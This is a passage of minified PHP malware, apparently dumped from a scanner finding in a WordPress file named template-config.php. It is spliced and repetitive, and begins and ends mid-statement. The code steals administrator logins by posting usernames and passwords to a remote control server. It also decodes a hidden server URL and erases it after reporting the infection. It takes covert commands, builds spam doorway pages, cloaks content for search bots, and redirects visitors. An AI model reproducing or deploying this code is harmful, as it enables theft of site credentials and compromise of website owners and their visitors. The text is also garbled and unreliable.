empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return '';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_TIMEOUT,90);$output=curl_exec($ch);curl_close($ch);}else{$params=explode('?',$url);$params=$parcurl_init was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 